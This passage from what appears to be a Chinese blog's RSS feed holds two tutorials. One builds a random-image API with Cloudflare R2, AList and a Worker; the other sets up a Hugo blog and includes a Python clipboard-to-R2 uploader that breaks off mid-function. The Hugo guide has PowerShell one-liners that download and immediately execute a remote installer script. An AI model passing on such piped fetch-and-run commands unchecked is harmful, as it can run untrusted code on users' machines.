&lt;p&gt;单击创建 API 令牌，如图&lt;img src=&quot;https://2x.nz/_astro/9512f23e08a60948e721848118f5eb096449909b.tG--_pGM.webp&quot; alt=&quot;QmPzJEHVAm4z3S1SHY4k99TugrPyTB9DXpyRR8Loj22bz3.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;因为我们需要该 API 来管理单个 R2 存储桶，所以选择&lt;strong&gt;对象读和写&lt;/strong&gt;，详细配置如图&lt;img src=&quot;https://2x.nz/_astro/0361e2b00351559eaebb18f3e6bb15a94b8578e9.CS0zSU9W.webp&quot; alt=&quot;QmNY9p8hksi18B9R8TVfdGgu336oQ3cPmghyfYXE9CDGD4.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建 API 令牌后，新页面会展示令牌的详细信息，&lt;strong&gt;仅会展示一次！！！&lt;/strong&gt; 保持这个页面，直到你将该页面的所有信息都已经妥善保存，不要关闭界面，否则，你需要轮转 API 令牌以禁用之前的旧密钥，如图&lt;img src=&quot;https://2x.nz/_astro/f4214f6fdf67fa7bf694d0a1501ecc21aef45a90.DuceaKbW.webp&quot; alt=&quot;QmZTUwbycqbJhVP6PatD3psYy7ej9PDDoiXbmDWoakPhwx.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确保你已经妥善保存你的 R2 API 令牌，然后进行下一步&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;为你的存储桶添加文件&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;因为 Web 界面传输文件较慢且不支持传输大于 300MB 的文件。这里使用本地部署 AList 然后连接你的 R2 存储桶实现高速上传&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;笔者使用 Windows。前往&lt;a href=&quot;https://github.com/alist-org/alist/releases&quot;&gt;AList - Github Release&lt;/a&gt;下载适用于 Windows 的最新可执行文件，如图&lt;img src=&quot;https://2x.nz/_astro/a2d1f289e464a9fb6367e2b7ff0b695916742698.CDSkQgeH.webp&quot; alt=&quot;QmPDRDJGeGStreyZMXVYofbE9FCs1T1MyDek3KUbB3Kk5b.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将下载的压缩包解压，并将其中的&lt;code&gt;alist.exe&lt;/code&gt;放入一个空文件夹&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单击搜索框，输入 cmd 并回车，如图&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3abdda195c58812866d49879c683a044e8acf7f8.Bt2NyIhm.webp&quot; alt=&quot;QmSt8aFtaeEprJHASEiNPB67UHcHoSxsbhhHUPxW6QkWSo.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f90fccfe1db62aff7a0a722cd3c5c319da563ae2.DhO-fEIg.webp&quot; alt=&quot;QmNkMhDhpPLkYCpVhE1ov7Q6A34uWDvraCqNvuTqaCkujT.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 cmd 中输入&lt;code&gt;alist.exe server&lt;/code&gt;并且不要关闭窗口，运行成功后如图&lt;img src=&quot;https://2x.nz/_astro/2c0ec8fb4de7f2a9a1b8107e3506cb5a8d7d7eff.DLD1fry9.webp&quot; alt=&quot;QmdzyY8xbic8jdnZEXegefoZPeizqHa4ZkdMnRKoguBMkf.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开浏览器，输入&lt;code&gt;localhost:5244&lt;/code&gt;即可进入 AList 控制台，如图&lt;img src=&quot;https://2x.nz/_astro/867fe02a124c886777d4ba64f6d1e4498c686709.CQpQaacN.webp&quot; alt=&quot;QmUBFKu7mCiRneCrsTNPxTH6S4gxwtXf9cwLzf4dKW9LLR.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用户名：&lt;code&gt;admin&lt;/code&gt;密码：&lt;code&gt;在cmd窗口中，如图&lt;/code&gt;。你可以使用鼠标左键在终端中框选内容然后单击鼠标右键进行复制操作&lt;img src=&quot;https://2x.nz/_astro/8cedc3475cd8358507587de8a6b2a91980fe9af4.BC7rKiTh.webp&quot; alt=&quot;QmVH3qZYo3QE6anNHymwkikq5MSeJphrZNR7RCH5jpP3wn.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;注意，在 cmd 中，鼠标左键点击或拖动 cmd 的终端界面会导致进入选择状态，程序将会被系统阻塞，&lt;strong&gt;需要在终端界面点按鼠标右键解除&lt;/strong&gt;。若进程被阻塞，cmd 的进程名会多一个&lt;strong&gt;选择&lt;/strong&gt;，请注意。如图是程序被阻塞的例子，&lt;strong&gt;在终端界面点按鼠标右键即可解除&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/afb945ff610c0463ee0db97f52bc42a865b00603.CEYwh8ci.webp&quot; alt=&quot;QmapESiqSEvbYq3AJs15yYvhemRxSHrJaccjTFr99muX6Z.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;现在，你已经成功以管理员身份登入了 AList单击最下面的&lt;strong&gt;管理&lt;/strong&gt;&lt;img src=&quot;https://2x.nz/_astro/eb0c3753205f42133445dfcee5f1291debd6c649.55pGE7hU.webp&quot; alt=&quot;QmfNE53GThdjVrh4q64MJcZqwcGPD7UtcYTNw9bVBaSEaF.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你会进入到如图界面。尽管 AList 运行在本地，也建议更改你的用户名和密码&lt;img src=&quot;https://2x.nz/_astro/3bde577194580e4d17aa457231360733175e2b0d.CeHiiY78.webp&quot; alt=&quot;QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更改账密，重新以新账密登录&lt;img src=&quot;https://2x.nz/_astro/a5ba3b6cc73002f3e96b6aab8c4e252f697802da.C9qRDCxD.webp&quot; alt=&quot;Qmas7pMiPR2FNTXheBT1xGNUpzDiSzv7J7yd6oCuT17yad.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入控制台，然后单击存储，如图&lt;img src=&quot;https://2x.nz/_astro/bb8fc961e43dffa99994c0d0e703ba98fc01b85a.3ERta9-2.webp&quot; alt=&quot;QmS4gGyCM1j3RXgHEPuZ1zTbLAvGtVBEiPXJe9QMF3dD2D.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择添加，如图&lt;img src=&quot;https://2x.nz/_astro/2807d1dbc07fed008c8177cd3b2b89bfd03cc8be.C7klSois.webp&quot; alt=&quot;QmRDVxt8WbrVkHavgFNXj3qC86ysw6sSZhPy3Uf2ixKp2E.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;详细配置如图。挂载路径即 AList 展示路径，推荐使用&lt;code&gt;/R2/你的存储桶名字&lt;/code&gt;，地区为&lt;code&gt;auto&lt;/code&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-10-16-11-37-53-image.4jGxT2cI.webp&quot; alt=&quot;&quot; /&gt;回到主页，如图&lt;img src=&quot;https://2x.nz/_astro/65265d29e91f146ecbe3d92218eb9af49eac1c8b.BbZZ4DeD.webp&quot; alt=&quot;QmSnR9Ptrssx4nqk9qCvhFUNKQyQqJiN7GRscwoj4Dczgj.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尝试上传文件，如图&lt;img src=&quot;https://2x.nz/_astro/061c995a66c34ebc341f692d4eb82d5657d791d6.DPo2tCZk.webp&quot; alt=&quot;QmPqFsmZNNnh4jNyLS7X3h8Zr6ZCVqTqGVwTxmPDdbmrGW.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可以看到，速度非常快&lt;img src=&quot;https://2x.nz/_astro/51d0a617cbda108ce6c12fb25f71fb5223a0cddb.CD58IDV1.webp&quot; alt=&quot;QmXfGK6aZjz741GrY8RfFfKMkUzDMB3xhx93PGZ9S1QycT.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为你的图床创建目录以分类横屏和竖屏图等，以便下文使用 Workers 连接 R2 来调用。后文我将使用R2的&lt;code&gt;/ri/h&lt;/code&gt; 路径作为横屏随机图目录、&lt;code&gt;/ri/v&lt;/code&gt; 路径作为竖屏随机图目录&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3bde577194580e4d17aa457231360733175e2b0d.CeHiiY78.webp&quot; alt=&quot;QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;创建 Workers，连接 R2&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare 仪表盘&lt;/a&gt;，进入 Workers 和 Pages 页面，如图&lt;img src=&quot;https://2x.nz/_astro/49ccd51771082fdc94eecb270caf987d257cd987.C9EnATeb.webp&quot; alt=&quot;QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单击创建，选择创建 Workers，名称自取，单击部署&lt;img src=&quot;https://2x.nz/_astro/95102dd09752a103d8022b1f281538e729b7a448.CImVub17.webp&quot; alt=&quot;QmVvLv5n41QQfDfYiVWYRpsfw7TVNGy1BYuv5e8vBRhKLA.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择编辑代码&lt;img src=&quot;https://2x.nz/_astro/fa78af856b3ff3798c77a55be15b2644dec944c1.Boy0ZilQ.webp&quot; alt=&quot;QmTbRifzXQ593DGyjFQMbA9exyNp2iAeAg4zbVrfFimQc4.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;粘贴代码（创建随机横屏图）：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;新代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default {
  async fetch(request, env, ctx) {
    const bucket = env.MY_BUCKET;
    const url = new URL(request.url);
    const hostname = url.hostname;

    // 初始化prefix
    let prefix = &apos;&apos;;
    
    // 根据域名判断prefix
    if (hostname === &apos;hpic.072103.xyz&apos; || hostname === &apos;api-hpic.072103.xyz&apos;) {
      prefix = &apos;ri/h/&apos;;
    } else if (hostname === &apos;vpic.072103.xyz&apos; || hostname === &apos;api-vpic.072103.xyz&apos;) {
      prefix = &apos;ri/v/&apos;;
    } else {
      return new Response(&apos;Invalid domain&apos;, { status: 400 });
    }

    try {
      // 如果是API域名，只返回数量
      if (hostname.startsWith(&apos;api-&apos;)) {
        const objects = await bucket.list({ prefix: prefix });
        const count = objects.objects.length;
        const headers = new Headers({
          &apos;Access-Control-Allow-Origin&apos;: &apos;*&apos;,
          &apos;Content-Type&apos;: &apos;text/plain&apos;
        });
        return new Response(count.toString(), { headers });
      }

      // 原有的随机图片逻辑
      const objects = await bucket.list({ prefix: prefix });
      const items = objects.objects;
      
      if (items.length === 0) {
        return new Response(&apos;No images found&apos;, { status: 404 });
      }
      
      const randomItem = items[Math.floor(Math.random() * items.length)];
      const object = await bucket.get(randomItem.key);

      if (!object) {
        return new Response(&apos;Image not found&apos;, { status: 404 });
      }

      const headers = new Headers();
      headers.set(&apos;Content-Type&apos;, object.httpMetadata.contentType || &apos;image/jpeg&apos;);

      return new Response(object.body, { headers });
    } catch (error) {
      console.error(&apos;Error:&apos;, error);
      return new Response(&apos;Internal Server Error&apos;, { status: 500 });
    }
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;旧代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default {
  async fetch(request, env, ctx) {
    // R2 bucket 配置
    const bucket = env.MY_BUCKET;

    try {
      // 列出 /ri/h 目录下的所有对象
      const objects = await bucket.list({ prefix: &apos;ri/h/&apos; });

      // 从列表中随机选择一个对象
      const items = objects.objects;
      if (items.length === 0) {
        return new Response(&apos;No images found&apos;, { status: 404 });
      }
      const randomItem = items[Math.floor(Math.random() * items.length)];

      // 获取选中对象
      const object = await bucket.get(randomItem.key);

      if (!object) {
        return new Response(&apos;Image not found&apos;, { status: 404 });
      }

      // 设置适当的 Content-Type
      const headers = new Headers();
      headers.set(&apos;Content-Type&apos;, object.httpMetadata.contentType || &apos;image/jpeg&apos;);

      // 返回图片内容
      return new Response(object.body, { headers });
    } catch (error) {
      console.error(&apos;Error:&apos;, error);
      return new Response(&apos;Internal Server Error&apos;, { status: 500 });
    }
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;点击左侧的文件图标&lt;img src=&quot;https://2x.nz/_astro/b02f29fbafb44ad36a0fa770d013069a374394a8.DPmNyAoL.webp&quot; alt=&quot;QmQGQTiTXSESU2TSJ6tc3KrzWU4KABKqn6QZ1GdWqKnWmc.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在&lt;code&gt;wrangler.toml&lt;/code&gt;中填入：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;[[r2_buckets]]
binding = &quot;MY_BUCKET&quot;
bucket_name = &quot;114514&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;保存修改，点击右上角的部署&lt;img src=&quot;https://2x.nz/_astro/6751c7b5122b938e01087d1bed629fcad1182a10.DnzrNYAo.webp&quot; alt=&quot;QmP7hXdtenrJrzJRRePHQATGtyAsZEr5MkMsboXvmNUxTx.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在设置 - 变量找到 R2 存储桶绑定，添加你的存储桶，变量名即上文的&lt;code&gt;MY_BUCKET&lt;/code&gt;&lt;img src=&quot;https://2x.nz/_astro/572f1c9946b5b6de5350c708e579d9887949b6e9.Bt1qgl5X.webp&quot; alt=&quot;QmStitSyATnA8sY9tTgZaXXqmqkGPUtZmMxn9KjbFQzgTc.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在设置 - 触发器添加你的自定义域名以便访问&lt;img src=&quot;https://2x.nz/_astro/706b3acbb372307713e38c96fc867f4e96234fd7.DfUd0LJ_.webp&quot; alt=&quot;QmUMxtkCiKsgFw8afRUGREFztXE9D5W6FmCbAUB7DaVH5o.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/1a6fa505881591a294f0b4ef4a1940e40fe57ab9.UdpGdikP.webp&quot; alt=&quot;QmPF9iCoq6n8Jj2Z6kPkdJSCm45VJystZoYcir55yceCQo.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;访问效果，每次刷新都不一样&lt;img src=&quot;https://2x.nz/_astro/0ba1efee8174e0d3db761bbd613a7b94b9738cee.C7Tia_M7.webp&quot; alt=&quot;QmQgEdjXxF9oph2jYKzFMJToX9WfG11jUmPiNJnjhYVN4N.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;通过使用 HTML 的 &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; 标签引用即可达到开头的效果&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;如：&lt;code&gt;&amp;lt;img src=&quot;你的域名&quot; alt=&quot;&quot;&amp;gt;&lt;/code&gt;
&amp;lt;img title=&quot;&quot; src=&quot;https://hpic.072103.xyz&quot; alt=&quot;loading-ag-4760&quot;&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Hugo博客搭建教程以及配置调优</title><link>https://2x.nz/posts/hugo/</link><guid isPermaLink="true">https://2x.nz/posts/hugo/</guid><description>Hugo是一个基于Golang的静态博客，相比于Nodejs的Hexo构建效率提升600%，同时也支持低JavaScript特性，SEO更加优化，爬虫更易获取</description><pubDate>Sun, 02 Mar 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;曾经我写过一篇文章叫做：&lt;a href=&quot;/posts/fuwari/&quot;&gt;Fuwari静态博客搭建教程&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;文中的&lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;Fuwari&lt;/a&gt;是基于Astro的，并且使用了服务器+客户端的混合渲染，尽管UI确实好看，但因为本人不会写Astro导致日后维护特别困难（比如手动添加Giscus评论后和上游分支发生冲突需要手动解决冲突才能合并上游）。&lt;/p&gt;
&lt;p&gt;最后我放弃了，既然我就是菜我为什么不找一个原生使用HTML+JS+CSS的框架呢？&lt;/p&gt;
&lt;p&gt;于是我便询问AI，Claude推荐我使用Hugo。&lt;/p&gt;
&lt;p&gt;其实我早就曾听闻Hugo的大名，但是并没有深入研究，但是Claude又告诉我Hugo采用Go语言进行编译，速度快，而且想要二次开发也只需要改改我最熟悉的HTML+JS+CSS。&lt;/p&gt;
&lt;p&gt;于是我便花了2小时深入研究、部署、调优。发现Hugo确实很强大：迁移方便，二改简单，构建迅速&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;请全程在Windows上操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们首先需要安装Scoop，这是一个适用于Windows的包管理器，个人认为非常好用&lt;/p&gt;
&lt;p&gt;Scoop默认会安装到C盘，如果你想要换盘请按需更改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$env:SCOOP=&apos;D:\Scoop&apos;
$env:SCOOP_GLOBAL=&apos;D:\ScoopApps&apos;
[Environment]::SetEnvironmentVariable(&apos;SCOOP&apos;, $env:SCOOP, &apos;User&apos;)
[Environment]::SetEnvironmentVariable(&apos;SCOOP_GLOBAL&apos;, $env:SCOOP_GLOBAL, &apos;Machine&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装Scoop：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你以管理员的身份会安装失败，请切换为普通用户。若想强制以管理员身份安装Scoop请使用&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ScoopInstaller/Install#for-admin&quot;&gt;github原帖&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;出于安全考虑，默认情况下已禁用管理员控制台下的安装。如果您知道自己在做什么并希望以管理员身份安装Scoop，请下载安装程序并在提升的控制台中手动执行它，使用 &lt;code&gt;-RunAsAdmin&lt;/code&gt; 参数。以下是示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;irm get.scoop.sh -outfile &apos;install.ps1&apos;
.\install.ps1 -RunAsAdmin [-OtherParameters ...]
# 如果你想要一行解决：
iex &quot;&amp;amp; {$(irm get.scoop.sh)} -RunAsAdmin&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装Hugo框架：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scoop install hugo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后选择一个你喜欢的文件夹创建你的站点。 &lt;code&gt;myblog&lt;/code&gt; 即你的站点文件夹名称&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo new site myblog
cd myblog
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装PaperMod主题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;站点根目录会有一个 &lt;code&gt;hugo.toml&lt;/code&gt;。我推荐使用YAML。将文件重命名为 &lt;code&gt;hugo.yaml&lt;/code&gt;。粘贴并更改以下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;baseURL: &quot;https://站点url&quot;
title: &quot;网站标题&quot;
LanguageCode: &quot;zh-CN&quot;
theme: &quot;PaperMod&quot;

# 启用首页个人简介展示
params:
  # 是否启用评论。你需要自己配置，或者直接引入Giscus等评论系统
  comments: false
  # 是否显示代码复制按钮
  ShowCodeCopyButtons: true
  # 是否显示面包屑导航
  ShowBreadCrumbs: false
  # 是否显示阅读时间  
  ShowReadingTime: true
  # 是否显示分享按钮
  ShowShareButtons: true
  # 分享按钮配置
  # ShareButtons: [&quot;linkedin&quot;, &quot;twitter&quot;]
  # 是否禁用主题切换按钮
  disableThemeToggle: false
  assets:
    favicon: &quot;/你的/网站图标.webp&quot; # 需要在static文件夹放置对应的图片
    iconHeight: 35
  # 首页信息配置
  homeInfoParams:
    Title: &quot;首页展示的标题&quot;
    Content: &amp;gt;
      首页展示的文本

  # 设置网站头像和首页头像
  profileMode:
    enabled: false # 设为 true 将完全替换 homeInfoParams

  # 网站头像设置 (显示在导航栏)
  label:
    text: &quot;左上角显示的文本&quot;
    icon: &quot;/你的/左上角显示的图片.webp&quot; # 这将显示在导航栏标题旁边。需要在static文件夹放置对应的图片
    iconHeight: 35

  # 社交图标 (显示在简介下方)
  socialIcons:
    - name: bilibili
      url: &quot;&quot;
    - name: github
      url: &quot;&quot;
    - name: telegram
      url: &quot;&quot;
    # 可以添加更多社交图标 https://github.com/adityatelange/hugo-PaperMod/wiki/Icons

# 顶部导航栏的快捷链接
menu:
  main:
    - identifier: categories
      name: 分类
      url: /categories/
      weight: 10
    - identifier: tags
      name: 标签
      url: /tags/
      weight: 20
    - identifier: archives
      name: 归档
      url: /archives/
      weight: 30
    - identifier: search
      name: 搜索
      url: /search/
      weight: 40
    # 可以添加更多导航链接。weight的值越高排序越靠后

# 如果要启用搜索功能，需要添加这个
outputs:
  home:
    - HTML
    - RSS
    - JSON # 必须，用于搜索功能
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们需要分别配置分类、标签、归档和搜索页&lt;/p&gt;
&lt;p&gt;创建 &lt;code&gt;content\categories\_index.md&lt;/code&gt; 写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: 分类
layout: categories
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\tags\_index.md&lt;/code&gt; 写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: 标签
layout: tags
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\archives.md&lt;/code&gt; 写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: 归档
layout: archives
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\search.md&lt;/code&gt; 写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: &quot;搜索&quot;
layout: &quot;search&quot;
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们要更改默认的文章创建模板&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;archetypes\default.md&lt;/code&gt; 写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: {{ replace .File.ContentBaseName &quot;-&quot; &quot; &quot; | title }}
published: {{ .Date }}
summary: &quot;文章简介&quot;
cover:
  image: 文章封面图。也支持HTTPS
tags: [标签1, 标签2]
categories: &apos;文章所处的分类&apos;
draft: false 
lang: &apos;&apos;
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来我们就可以通过命令来创建文章，并开始写作了。注意，最终构建的文章URL是你的文章的文件名。比如：&lt;code&gt;https://你的网站.com/posts/first&lt;/code&gt; 所以文章文件名尽量简短，这并不会影响你的文章标题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo new posts/first.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们写完一篇文章想要预览网站，可以使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们想要将站点发布到Vercel、Cloudflare Pages等静态网站托管平台可以将我们的 &lt;code&gt;myblog&lt;/code&gt; 作为一个Git存储库提交到Github&lt;/p&gt;
&lt;p&gt;根目录：&lt;code&gt;./&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;输出目录：&lt;code&gt;public&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;构建命令：&lt;code&gt;hugo --gc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;环境变量： Key：&lt;code&gt;HUGO_VERSION&lt;/code&gt; Value：&lt;code&gt;0.145.0&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;对象存储存图中间件代码：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import keyboard
import pyperclip
from PIL import ImageGrab, Image
import io
import boto3
from botocore.config import Config
import time
import uuid
import pyautogui
import os
from io import BytesIO
# 示例配置
# # R2 配置
# R2_CONFIG = {
#     &apos;account_id&apos;: &apos;11111111111111111&apos;,
#     &apos;access_key_id&apos;: &apos;11111111111111111&apos;,
#     &apos;secret_access_key&apos;: &apos;11111111111111111&apos;,
#     &apos;bucket_name&apos;: &apos;11111111111111111&apos;
# }

# # OSS 配置
# OSS_CONFIG = {
#     &apos;url&apos;: &apos;sb-eo-r2.2x.nz&apos;,
#     &apos;prefix&apos;: &apos;/fuwari-blog/img&apos;
# }
#########################################################
# R2 配置
R2_CONFIG = {
    &apos;account_id&apos;: &apos;&apos;,
    &apos;access_key_id&apos;: &apos;&apos;,
    &apos;secret_access_key&apos;: &apos;&apos;,
    &apos;bucket_name&apos;: &apos;&apos;
}

# OSS 配置
OSS_CONFIG = {
    &apos;url&apos;: &apos;&apos;,
    &apos;prefix&apos;: &apos;&apos;
}
#########################################################
def init_r2_client():
    &quot;&quot;&quot;初始化 R2 客户端&quot;&quot;&quot;
    return boto3.client(
        &apos;s3&apos;,
        endpoint_url=f&apos;https://{R2_CONFIG[&quot;account_id&quot;]}.r2.cloudflarestorage.com&apos;,
        aws_access_key_id=R2_CONFIG[&apos;access_key_id&apos;],
        aws_secret_access_key=R2_CONFIG[&apos;secret_access_key&apos;],
        config=Config(signature_version=&apos;s3v4&apos;),
        region_name=&apos;auto&apos;
    )

def get_image_from_clipboard():
    &quot;&quot;&quot;从剪贴板获取图片&quot;&quot;&quot;
    try:
        image = ImageGrab.grabclipboard()
        if image is None:
            return None

        # 如果是列表（多个文件），取第一个
        if isinstance(image, list):
            if len(image) &amp;gt; 0:
                # 如果是图片文件路径，打开它
                try:
                    return Image.open(image[0])
                except Exception as e:
                    print(f&quot;打开图片文件失败: {e}&quot;)
                    return None
            return None

        # 如果直接是 Image 对象
        if isinstance(image, Image.Image):
            return image

        return None
    except Exception as e:
        print(f&quot;获取剪贴板图片失败: {e}&quot;)
        return None

def convert_to_webp(image):
    &quot;&quot;&quot;将图片转换为 webp 格式&quot;&quot;&quot;
    if not image:
        return None

    try:
        buffer = BytesIO()
        # 确保图片是 RGB 模式
        if image.mode in (&apos;RGBA&apos;, &apos;LA&apos;):
            background = Image.new(&apos;RGB&apos;, image.size, (255, 255, 255))
            background.paste(image, mask=image.split()[-1])
            image = background
        elif image.mode != &apos;RGB&apos;:
            image = image.convert(&apos;RGB&apos;)

        image.save(buffer, format=&quot;WEBP&quot;, quality=80)
        return buffer.getvalue()
    except Exception as e:
        print(f&quot;转换图片失败: {e}&quot;)
        return None

def upload_to_r2(image_data):
    &quot;&quot;&quot;上传图片到 R2&quot;&quot;&quot;
    if not image_data:
        return None

    client = init_r2_client()

    # 生成基础文件名
    base_filename = f&quot;{uuid.uuid4()}.webp&quot;
    filename = base_filename

    try:
        # 检查文件是否已存在
        attempt = 1
        while True:
            try:
                # 尝试获取文件信息，如果文件存在会返回数据，不存在会抛出异常
                client.head_object(
                    Bucket=R2_CONFIG[&apos;bucket_name&apos;],
                    Key=f&quot;{OSS_CONFIG[&apos;prefix&apos;].strip(&apos;/&apos;)}/{filename}&quot;
                )
                # 如果文件存在，修改文件名
                name_without_ext = base_filename.rsplit(&apos;.&apos;, 1)[0]
                filename = f&quot;{name_without_ext}_{attempt}.webp&quot;
                attempt += 1
                print(f&quot;文件名已存在，尝试重命名为: {filename}&quot;)
            except client.exceptions.ClientError as e:
                # 如果是 404 错误，说明文件不存在，可以使用这个文件名
                if e.response[&apos;Error&apos;][&apos;Code&apos;] == &apos;404&apos;:
                    break
                raise e  # 其他错误则抛出

        # 上传文件
        client.put_object(
            Bucket=R2_CONFIG[&apos;bucket_name&apos;],
            Key=f&quot;{OSS_CONFIG[&apos;prefix&apos;].strip(&apos;/&apos;)}/{filename}&quot;,
            Body=image_data,
            ContentType=&apos;image/webp&apos;
        )
        return filename
    except Exception as e:
        print(f&quot;上传失败: {e}&quot;)
        return None

def generate_markdown_link(filename):
